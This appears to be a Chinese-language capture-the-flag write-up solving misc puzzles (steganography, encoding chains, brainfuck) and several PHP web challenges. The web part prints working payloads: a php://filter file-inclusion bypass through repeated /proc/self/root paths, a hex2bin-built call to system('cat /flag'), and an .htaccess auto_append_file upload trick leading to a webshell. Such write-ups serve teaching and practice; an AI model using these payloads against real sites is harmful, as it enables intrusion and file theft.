misc
Pngenius
放入 steg中观察
发现password:Weak_Pas5w0rd
然后放入kali中binwalk发现含有zip
然后foremost进行分离,因为在steg中知道了密码,所以直接拿到flag。
EasyEncode
暴力破解得到一串字符
摩斯密码解密
然后hex转str
接着就是Unicode解密,最后base64得到flag。
你知道js吗
附件加上后缀.docx是一个word文档,转换字体后得到一段base64
解码后发现 brainfuck
1 | +++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- |
Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)网站解密
1 | 446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D |
hex转str得到flag
1 | Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2} |
web
phpdest
1 | <?php |
require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含。
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once(‘flag.php’),已经include的文件不可以再require_once。
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
1 | ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
base解密得到flag。
php源码分析 require_once 绕过不能重复包含文件的限制
EasyPHP
1 | <?php |
date() 函数可把时间戳格式化为可读性更好的日期和时间。set_error_handler() 函数设置用户自定义的错误处理函数。该函数用于创建运行期间的用户自己的错误处理方法。所以思路就是POST传参,造成报错,执行set_error_handler() 函数,显示flag。
payload:
1 | ctf[]=123 |
SimpleRCE
1 | <?php |
命令执行,过滤了很多,没有过滤(和)还有%,同时 str_ireplace函数用hex2bin绕过,正好单引号没有过滤 73797374656d→system,636174202f666c6167→cat /flag。
post传参
1 | aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167')); |
funny_upload
前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?
可以利用auto_append_file和php伪协议打组合拳绕过。
先是.htaccess文件
1 | Content-Disposition: form-data; name="file"; filename=".htaccess" |
然后是images.jpg
1 | Content-Disposition: form-data; name="file"; filename="images.jpg" |
最后蚁剑链接拿到flag。